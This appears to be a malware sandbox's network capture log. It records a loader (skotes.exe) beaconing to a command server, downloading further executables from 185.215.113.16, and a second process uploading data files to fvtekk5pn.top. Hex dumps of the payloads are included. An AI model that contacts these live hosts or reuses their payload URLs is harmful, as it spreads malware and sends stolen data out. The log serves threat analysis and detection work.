Nov 24, 2024 12:24:36.870361090 CET	1236	IN	Data Raw: 0f 8f 18 01 00 00 f6 45 08 08 75 06 f6 45 08 04 75 41 ff 45 fc 8d 70 fc 3b fe 76 12 8b fe eb 0e f6 45 08 02 75 08 6a 00 e8 d2 fb ff ff 59 3b 35 38 dd 43 00 7d 0d 57 53 ff 75 f8 e8 9a 3b 00 00 89 45 f8 01 3d 74 c1 42 00 2b f7 85 f6 0f 8f 20 ff ff Data Ascii: EuEuAEp;vEujY;58C}WSu;E=tB+ 3jY9G9]t*5tBjEPE;Euj@$@GPuVSj;EuZE5GGtGjYFD0I;ujSSu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49836	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:24:41.877929926 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 34 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008743001&unit=246122658369
Nov 24, 2024 12:24:43.304323912 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:24:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49842	185.215.113.16	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:24:43.432904005 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 24, 2024 12:24:44.814793110 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:24:44 GMT Content-Type: application/octet-stream Content-Length: 1867776 Last-Modified: Sun, 24 Nov 2024 10:27:55 GMT Connection: keep-alive ETag: "6742ffab-1c8000" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 51 3c 3f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 0a 04 00 00 c2 00 00 00 00 00 00 00 c0 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 49 00 00 04 00 00 f5 ce 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 80 05 00 70 00 00 00 00 70 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELQ<?gI@I@\pp `b@.rsrcpr@.idata t@ @*v@fwtvsnnj/x@vcdokcsvIX@.taggant0I"^@
Nov 24, 2024 12:24:44.814840078 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:24:44.814851046 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:24:44.814863920 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:24:44.814881086 CET	1236	IN	Data Raw: f3 d9 4a 99 14 bb 52 19 cc b3 3f b4 37 d0 97 64 34 61 dc 5f 79 6a 04 e5 0b f4 85 55 74 32 a8 e4 a4 fb 4f 64 fc 71 f5 56 cb e9 73 d8 f7 d8 03 8c ea 49 41 8c aa a9 9f 00 51 3c 99 17 d6 8e 46 cf ca fc d6 38 74 39 40 35 5d 44 2a f6 61 6e d8 53 a4 80 Data Ascii: JR?7d4a_yjUt2OdqVsIAQ<F8t9@5]D*anSUWuZ!{:\SLMIuqpk0qfOjJ;2^sQGM}yy3/}y=@6jnhlWTdh]JKI)2(Q5i0JPY%8l
Nov 24, 2024 12:24:44.814938068 CET	1236	IN	Data Raw: 28 4e 36 5c 0c 8c 20 30 34 42 57 58 e7 1c 6a c9 b7 95 20 3e 5a 7a 42 bc 8c af 31 4c f2 31 e5 3e fb b0 14 1c cc 99 eb 63 42 28 fd bc ea 75 f1 d5 16 71 04 97 2e 88 a0 bf 86 10 09 5d c2 52 50 32 7b a3 63 37 50 dc 02 48 1b 78 e6 9d d5 e5 3d a2 5c 48 Data Ascii: (N6\ 04BWXj >ZzB1L1>cB(uq.]RP2{c7PHx=\H\|r\|A,BEiH{W)0/];;bq[[d#"ZJPuPvf358C}F[ @$06)C{Rf3yF$`@wM,dM-?ZO\ ]HN1Tx
Nov 24, 2024 12:24:44.814950943 CET	776	IN	Data Raw: d9 4e 71 e4 55 99 e4 50 2e 4e 3c 4b e3 ef e9 58 52 32 ae 2a 89 20 c8 44 bc 5b a4 07 f1 65 26 93 e1 b0 d9 10 18 3e 70 88 c4 e9 18 59 f2 ed 47 e7 43 0d f4 88 c9 e9 55 17 32 af 46 7e ff 19 4b 5e cc 7c eb 8d b5 22 94 65 9a 70 39 56 5c c0 96 ec d0 58 Data Ascii: NqUP.N<KXR2* D[e&>pYGCU2F~K^\|"ep9V\XG\|VB\?^A0/Uvefd'>s!3?lSe!cS2gZ=^N'5Hqyk2jZCa+lQpgk2I=AE~w{\~,Oa=s)
Nov 24, 2024 12:24:44.814963102 CET	1236	IN	Data Raw: 94 a3 c7 a0 5c e7 00 e0 95 af 11 3c 94 14 aa 7f ba 8e 8b eb 5e bc ef 29 7b 18 25 ec a9 92 89 88 2d 6b c2 13 96 fe 2f 69 5e 6e 82 ec 44 b8 e9 94 c9 71 71 43 d4 f8 44 c2 6a a0 ba b6 ae e7 89 93 a1 98 95 9e b2 ce 7d 4f 95 48 10 ee 65 3d 5a 68 62 46 Data Ascii: \<^){%-k/i^nDqqCDj}OHe=ZhbF>96E14LOx1zAc!Pu4KcGByL_8X;YN \|tmdE>DDvtEG'g2LMc#+bqnT^lsa#f3
Nov 24, 2024 12:24:44.814980984 CET	1236	IN	Data Raw: 77 88 76 a7 b2 ee 8f 9a 10 3c 2b 41 1f b5 7f 4f bc e9 1b 11 55 f0 05 00 a2 e8 52 8c 70 21 83 53 04 31 07 ec 24 3e 97 6a 73 6e 2c d5 6f a4 44 68 59 14 45 5e dd 47 c4 0d 1a e8 aa 01 78 b1 e2 d8 e2 be 9c 3f 33 b0 6e 14 2a 51 71 cf b1 f1 5d 2d 71 73 Data Ascii: wv<+AOURp!S1$>jsn,oDhYE^Gx?3n*Qq]-qsoDx+/H[&M0UI3.'j1`y,MLozo/]}askTNRVe4AN+{-MV\YY'T Ipi>:oSK=bu5I
Nov 24, 2024 12:24:44.814991951 CET	1236	IN	Data Raw: 9a 73 4f 29 25 88 cb b6 d0 69 53 d5 a4 0f bb cf 2e 19 0a 3e d0 1a 5d 90 0c fa 74 ce b7 c8 c3 db 4f c8 1d 60 74 f2 d3 b8 79 88 1b 82 d9 5c 85 3c 88 ad 33 62 d7 71 be 49 cd ca 52 42 06 0d 68 6c 45 89 fc e4 ca b5 80 78 28 e4 83 49 85 03 50 42 20 14 Data Ascii: sO)%iS.>]tO`ty\<3bqIRBhlEx(IPB UR]Y'0+aQS+1qO)'gIdM8`NE+"K#W+"F\|S]CZ&s\<%pAI[3Ug)"(^+:sPt'rFjpp
Nov 24, 2024 12:24:44.934432983 CET	1236	IN	Data Raw: 5c ed 25 30 5d 18 82 b4 0f 3f 7d fc c8 83 af 38 bc e0 77 ab fc 60 dd 8d 50 13 03 69 93 74 20 46 5c 72 98 74 b7 48 b0 b8 d8 25 a5 4d 30 37 81 3d fd cf be 2e 68 43 cd 53 85 e9 4b 6e d4 c8 6e 36 14 88 f8 c2 cf e5 30 85 c8 f3 5f cc 90 b3 2d 90 9d 97 Data Ascii: \%0]?}8w`Pit F\rtH%M07=.hCSKnn60_-y1O,qxT1S@UpG57G,:t^5P X2pZ*nkBt'[Xv;2)zbgM1OnNnG;ivORj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49854	34.116.198.130	80	7908	C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:24:49.357920885 CET	642	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 463 Content-Type: multipart/form-data; boundary=------------------------on2cWYroZkKh7pQtjtukLq Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 6f 6e 32 63 57 59 72 6f 5a 6b 4b 68 37 70 51 74 6a 74 75 6b 4c 71 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 4c 69 77 75 6d 75 71 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a a1 25 6a 0a 09 b1 2a 43 4e 74 54 88 d1 b0 97 a9 c7 90 50 16 6f b0 e1 e3 ea 6e 18 2e 2e af c5 f7 c7 cd 59 03 3e ee dc 76 8d a3 3c e4 e5 76 46 4d ff 4c f7 d9 3c a5 b4 c5 52 45 b4 b0 ea 7b 46 23 cf 2b 80 d6 77 b6 25 a9 bb 8f 9f d2 88 ac 3c 56 46 62 6a a9 9a b3 b6 fb 54 e4 60 d0 4e be 74 d7 c8 46 a4 01 e5 21 ea 78 53 ca 63 ac 5e b4 01 36 62 a6 71 49 1e 7e f2 b6 0a 1e ad 22 84 ac 13 ef 00 87 ec 7e 84 67 2a 93 48 a5 05 0b 24 19 05 2c b8 b0 0d 7b c0 5f a4 64 2a 0b d3 6f 47 bf 28 49 4e c7 f5 0a 76 18 35 18 d0 5d 26 57 60 54 a5 1a 8d [TRUNCATED] Data Ascii: --------------------------on2cWYroZkKh7pQtjtukLqContent-Disposition: form-data; name="file"; filename="Liwumuq.bin"Content-Type: application/octet-stream%jCNtTPon..Y>v<vFML<RE{F#+w%<VFbjT`NtF!xSc^6bqI~"~gH$,{_doG(INv5]&W`T5:"<>herz0A^J4u](egQzt #qkQ'ZzSD Xf--------------------------on2cWYroZkKh7pQtjtukLq--
Nov 24, 2024 12:24:50.751733065 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sun, 24 Nov 2024 11:24:50 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 29 x-ratelimit-reset: 1732449291 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49860	185.215.113.43	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:24:51.420480967 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 38 37 34 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1008744001&unit=246122658369
Nov 24, 2024 12:24:52.586352110 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:24:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49863	34.116.198.130	80	7908	C:\Users\user\AppData\Local\Temp\1008733001\779ae05f2f.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:24:52.367047071 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 90210 Content-Type: multipart/form-data; boundary=------------------------cgahQLERDJggL8bbVBraLp Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 63 67 61 68 51 4c 45 52 44 4a 67 67 4c 38 62 62 56 42 72 61 4c 70 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 59 61 6e 61 64 6f 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ad 70 8a fc cc 06 90 ca ea a8 3a 24 c5 f7 8b 8c 4d d2 42 3d 24 d6 fb 62 05 41 91 82 a9 e6 04 79 24 d4 61 a5 34 fd 8c ff 66 20 d6 eb 14 22 7e 6b ac d5 61 b3 b6 e5 8c f7 91 17 6c d5 17 39 d4 1f a6 fe 93 ea 16 1b 57 8b e6 03 c8 6a a9 2e e6 5b a1 39 30 88 38 dc 77 3e 7d 3c 6a 66 c1 f1 1a 7d 3e 76 59 4b b1 67 8c 78 a2 43 cf 08 d0 26 bd eb c6 a4 d9 0a b1 a2 5f bb ea 8f e4 6f d6 99 fa 1f d0 7a 50 a5 39 82 94 62 14 da e9 6b 95 a5 cc cb c3 63 47 ee 7d 4a af aa f0 2b 53 08 ce 79 38 18 8a 7b f0 8f 6c 3a 51 64 39 5b 76 78 40 9c 3a 40 ce f9 [TRUNCATED] Data Ascii: --------------------------cgahQLERDJggL8bbVBraLpContent-Disposition: form-data; name="file"; filename="Yanado.bin"Content-Type: application/octet-streamp:$MB=$bAy$a4f "~kal9Wj.[908w>}<jf}>vYKgxC&_ozP9bkcG}J+Sy8{l:Qd9[vx@:@c/B/3d-M,x~\|EHF5dzRum8Jn;+QJ1NSu-_s?<vj}W`Sw?xfUzMGl#Hpq'!K;a:h[0![:L\z(\)?<.\8I3s<^}%-U2Ir#q%>[3c:A';L^89K.#Z2yS]50Y4{5^Wj[lFf}w(f\|'<VoK^f/n\|X3:}GV{NIfY\|ZBU~w5]lY)Opt5%TcDV>DHcE\HW(8\CJvihLs!mx>aPiL%QetY%`(vlCa1I.Z6_O`)L~y<ww! [TRUNCATED]
Nov 24, 2024 12:24:52.486800909 CET	2472	OUT	Data Raw: b6 b3 79 e0 2c 80 11 6f 69 90 ca 07 ab b1 2d 88 93 59 5a 86 a4 78 2a 62 95 57 cf 5c c8 80 56 dd 7d 0a 1f 33 19 3b fc a9 0a e7 e7 a7 57 70 bb 74 3b 22 c2 b8 f4 aa 67 e3 58 dd b7 83 01 e8 0b 8f 40 04 bb b5 02 89 89 c3 1b 78 38 d5 00 6d 53 5a b8 d0 Data Ascii: y,oi-YZxbW\V}3;Wpt;"gX@x8mSZYZ+4mN;KEW=k'!#viw\g-@(-nZcyN30\%z,5tX)"&ss/Sb?_~a9;j-zfQAyq=2>U
Nov 24, 2024 12:24:52.486872911 CET	2472	OUT	Data Raw: 69 a2 81 8d b8 e8 d5 ab e5 d2 02 4d 03 ad 07 ac 18 a4 df bb 1a 10 a5 19 f6 2c ca fd 7f a6 6e 69 d7 14 e3 22 6f e0 2b 30 d4 ea 12 9e bb 41 df 85 82 5f 1c ee ac 14 74 05 da 0a 73 f5 70 78 33 d2 27 78 8b e1 df 12 4d 16 03 d6 99 62 3d d8 d9 e2 a3 04 Data Ascii: iM,ni"o+0A_tspx3'xMb=\|?D"AK4?UaF;L4p1~k1Q <Px2GErVAfz6)_7>=l0=V0i4n1B,Nb@3\|}n6@/EeSAOX
Nov 24, 2024 12:24:52.486972094 CET	4944	OUT	Data Raw: b7 39 62 2b 40 1a ec 2d cf 96 61 a8 b3 a6 a0 ae 2b 23 56 8d 60 9f e5 06 a4 db 2b 3a 2b 13 a0 e3 5a 4d 9f 88 d8 5a b5 d9 cc 3d 98 63 07 06 ab a6 90 6a 86 84 5a 5a dd 7d 71 b2 1a 9a db ef 71 68 9d 4e 43 ae 93 5a af 7a 70 fc 93 02 1b e2 ad b1 89 f2 Data Ascii: 9b+@-a+#V`+:+ZMZ=cjZZ}qqhNCZzpqUwAI(9GeTzaOr/K7?k<*B8~Zur8.e>}; zt_,V"xmgPn+s]$/@hJMh>
Nov 24, 2024 12:24:52.487086058 CET	4944	OUT	Data Raw: e3 aa e5 b7 72 c1 46 a7 01 b4 9d 33 9e dc a8 09 cb 09 66 2d 78 49 df d3 3f 8d 80 13 2d a4 02 cb f5 06 11 2a 69 3f ab 50 1b e7 76 8d 39 2a ed a9 3c 06 be 35 10 7a 15 02 46 69 3e 8a c4 67 f1 a5 2c 78 eb cc 3e 6c c3 f7 e6 22 9a e6 93 98 ca 63 5e d6 Data Ascii: rF3f-xI?-i?Pv9<5zFi>g,x>l"c^p3~0Hx-G:D-/l44mLy q=,1[C:LXj]UM/6{ez<`$[ giu]@>)FLY&sn$;A
Nov 24, 2024 12:24:52.487194061 CET	4944	OUT	Data Raw: c2 17 90 d5 cc 45 2d ec 8c 2c 76 09 c8 49 3a f6 d9 f1 69 a5 43 d2 26 09 4f f1 65 8d 08 7d c3 0f 1b e1 55 27 95 2f c0 4d 3a 1a 04 2d 04 5b d5 4e 28 5a 87 20 8a 06 53 17 cc 26 1b 82 80 bb 3d 37 2b ff 7c 89 72 b9 b9 7d f0 f8 f0 c4 9f d3 00 d2 f1 2e Data Ascii: E-,vI:iC&Oe}U'/M:-[N(Z S&=7+\|r}.-X\|T]6-gwjZY6=4Y%ri\&o?k#in#+\:dk=%!8/!w',%LvBh}+U]c jH>A!Qx=/Uptj
Nov 24, 2024 12:24:52.487306118 CET	4944	OUT	Data Raw: 62 74 81 39 11 ac 01 ce cd 1e 8c 8f 60 4f 9f ac 7a fc a1 2d 98 b7 ff 76 2f 96 74 25 ee ec 69 08 e2 e0 2f 37 b0 ad e7 85 78 62 a6 1c f2 83 58 22 f9 08 57 b4 ca c5 02 83 07 d8 64 09 c7 19 16 5a b8 a7 e8 a4 61 5f 37 f7 38 6b 05 30 f6 1b cb da 0e 1b Data Ascii: bt9`Oz-v/t%i/7xbX"WdZa_78k0J2s7X<fud-wCb.OPn_Rv:~7DhU+bm7Ju7[gacGXj5#w}u<8jZEE(&nhmV(Leer]
Nov 24, 2024 12:24:52.606447935 CET	4944	OUT	Data Raw: a5 8b 2d 88 73 14 e9 b1 30 c9 c1 7b b0 1b 1c 23 ec 97 dd 9d c7 8f 78 6a 71 46 0e c4 6f 99 cd b3 78 fa 8a 0b 8a 68 21 f6 a6 4a b2 78 2f d6 36 a3 f1 78 1e 2c 54 f2 d8 af e2 f7 47 bb 89 15 b5 31 f2 84 f5 bf d6 a0 80 2b 12 b5 f4 4a de af 20 a4 87 f1 Data Ascii: -s0{#xjqFoxh!Jx/6x,TG1+J ]c}1wjm.&AZMVReU.9]jNml1N0:Bi1F 4<qwakR#%VASXk!U3T o)Gn?Y@_,Q*?UFj
Nov 24, 2024 12:24:52.606586933 CET	2472	OUT	Data Raw: d8 68 8a 2d 50 70 44 2c 19 8d 0c e6 98 e2 6f c3 78 97 88 c2 fe b0 81 c2 de 87 00 22 b9 26 92 d6 98 48 1e 3c 7c 1d 5c ba 73 92 74 9f 7f be 4e 1b 2d 63 bd 6d 4a b8 48 cf 2e 20 3c 56 2d c7 7c 21 3d 0e 11 52 6e 0a 77 e7 64 a9 75 98 bf 7f 90 5c 9c cb Data Ascii: h-PpD,ox"&H<\|\stN-cmJH. <V-\|!=Rnwdu\L8]:+@0%e#{pfF>1;(t@ypwI2ya[tWkl_C4!w[',ET<`2TRW22YA%EpVGB$pe
Nov 24, 2024 12:24:52.606631041 CET	4944	OUT	Data Raw: 1b f7 a0 31 b1 91 b2 a1 c7 c3 f6 ec 28 ef 99 74 43 f2 b2 64 fc f0 cc e7 90 84 d6 a0 29 fd 68 3b 70 5f 4d fa 4b b1 aa 82 9a 3f 9b 4d e0 9a d8 ea 7a 1f 63 4c aa ed 7e fb 1d 72 07 8f 0d d8 dc cd 11 02 3b 02 fc 30 ee 6c 54 7e 46 ec a5 5c 3b 5f 5b 45 Data Ascii: 1(tCd)h;p_MK?MzcL~r;0lT~F\;_[En\\3$Yvt?p4jsk[:&b[:z2.ZN,U?_,sE/ 3Itt!lI>O2'J=cuI5mu
Nov 24, 2024 12:24:52.606684923 CET	2472	OUT	Data Raw: e8 82 43 11 3f ba 7e 64 83 74 20 25 eb fa 13 98 52 56 6d 1b dd f5 c5 54 7f 3a c9 cb 33 fb 93 60 22 07 63 35 85 2a a8 c2 49 2d 28 51 42 f0 3b 9a d7 7a df e9 f5 d4 3e 08 0a ad 7b 5d e0 98 2b c5 25 42 68 08 7e ce 61 d9 bd 9b 8e 73 45 e7 5b 07 27 67 Data Ascii: C?~dt %RVmT:3`"c5*I-(QB;z>{]+%Bh~asE['gaSC6#gh9[dc:`C!`k:BYyxZK94C' s<@icJfOm\|86t4vRi{f"fmdZbZf-`(iS7:H[
Nov 24, 2024 12:24:54.251749039 CET	271	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Sun, 24 Nov 2024 11:24:54 GMT content-type: text/plain; charset=utf-8 content-length: 2 x-ratelimit-limit: 30 x-ratelimit-remaining: 28 x-ratelimit-reset: 1732449291 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49868	185.215.113.16	80	7712	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 12:24:52.766244888 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 24, 2024 12:24:54.199508905 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 11:24:53 GMT Content-Type: application/octet-stream Content-Length: 1790976 Last-Modified: Sun, 24 Nov 2024 10:28:02 GMT Connection: keep-alive ETag: "6742ffb2-1b5400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 f0 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 20 69 00 00 04 00 00 06 62 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g$h@ ib@M$a$$ $b@.rsrc$r@.idata $t@ `*$v@kzyuzjct Ox@xpspqxsmh.@.taggant0h"2@
Nov 24, 2024 12:24:54.199587107 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:24:54.199599028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:24:54.199623108 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:24:54.199635029 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 24, 2024 12:24:54.199721098 CET	1236	IN	Data Raw: 36 e8 f9 d3 f0 20 6b 48 3b c9 b7 cb 88 aa 6e ee cc 78 1a 25 ab 8e a5 3d 93 98 11 4b 92 88 77 40 a3 90 24 4c bb 98 cc 28 39 90 30 2e c3 68 fe 21 aa e6 5a 81 b9 5c c3 be 25 a4 22 9e 58 57 ba 78 f1 8c 15 98 f6 49 a2 19 5a 8d 06 28 c9 dc cb d7 59 8a Data Ascii: 6 kH;nx%=Kw@$L(90.h!Z\%"XWxIZ(YMqJpNY:D@y$S#Vp',WL0z6_\xg`IC.<s'AlSy)i4yBfc cN4$M
Nov 24, 2024 12:24:54.199733019 CET	396	IN	Data Raw: b8 ef e4 1c c4 9b 10 78 2d 74 78 1b 83 9e d0 1a e1 15 0f 5f e3 27 ed a1 bb 0f 43 20 1f 20 e5 ad 23 e1 16 c4 ff 4f 54 bc c3 8c ef 11 96 96 d9 ae 3c be f1 2f 17 27 e8 5e 3f 57 7e 34 ff 2c 00 db e0 da 89 a9 c1 ba d5 06 4f 50 b5 5f 8f e4 bb 57 c9 59 Data Ascii: x-tx_'C #OT</'^?W~4,OP_WY\j\|w&:<gIhP/4 1'XIfYptNJ/o*L5m(.\S1G`0%d.`}b"W<x'X=6=.0"s[
